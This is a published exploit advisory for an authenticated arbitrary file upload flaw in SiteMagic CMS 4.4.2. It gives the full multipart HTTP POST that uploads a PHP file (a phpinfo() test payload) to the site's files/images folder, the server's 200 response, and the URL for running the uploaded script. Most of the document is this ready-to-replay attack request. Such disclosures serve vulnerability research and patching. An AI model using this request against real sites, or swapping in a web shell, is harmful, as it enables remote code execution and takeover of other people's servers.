SiteMagic CMS 4.4.2 - Arbitrary File Upload (Authenticated)

# Exploit Title: SiteMagic CMS 4.4.2 - Arbitrary File Upload (Authenticated)
# Date: 2020-09-02
# Exploit Author: v1n1v131r4
# Vendor Homepage: https://sitemagic.org/
# Software Link: https://sitemagic.org/Download.html
# Version: 4.4.2
# Tested on: Ubuntu 18.04
# CVE : N/A
# PoC: https://github.com/V1n1v131r4/Unrestricted-File-Upload-on-SiteMagic-CMS-4.4.2/blob/master/README.md


Step 1 - Request

POST /sitemagic/index.php?SMExt=SMFiles&SMTemplateType=Basic&SMExecMode=Dedicated&SMFilesUpload&SMFilesUploadPath=files%2Fimages HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-BR,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------144837887339078243581158835832
Content-Length: 538
Origin: example.org
DNT: 1
Connection: close
Referer: http://example.org/sitemagic/index.php?SMExt=SMFiles&SMTemplateType=Basic&SMExecMode=Dedicated&SMFilesUpload&SMFilesUploadPath=files%2Fimages
Cookie: timezone=America/Argentina/Buenos_Aires; cookieconsent_status=dismiss; SMSESSION407f70d0a9400582=f93d614ad0046ec76e41f3613d97da59
Upgrade-Insecure-Requests: 1

-----------------------------144837887339078243581158835832
Content-Disposition: form-data; name="SMInputSMFilesUpload"; filename="info.php"
Content-Type: application/x-php

<?php phpinfo(); ?>

-----------------------------144837887339078243581158835832
Content-Disposition: form-data; name="SMPostBackControl"


-----------------------------144837887339078243581158835832
Content-Disposition: form-data; name="SMRequestToken"

f9f116f33c012ce5e67f52dffc7e6bc6
-----------------------------144837887339078243581158835832--




Step 2 - Response

Status 200 OK
Version HTTP/1.1
Transferred 26,20 KB (25,80 KB size)
Referrer Policy no-referrer-when-downgrade




Step 3 - Read file uploaded

http://example.org/sitemagic/files/images/info.php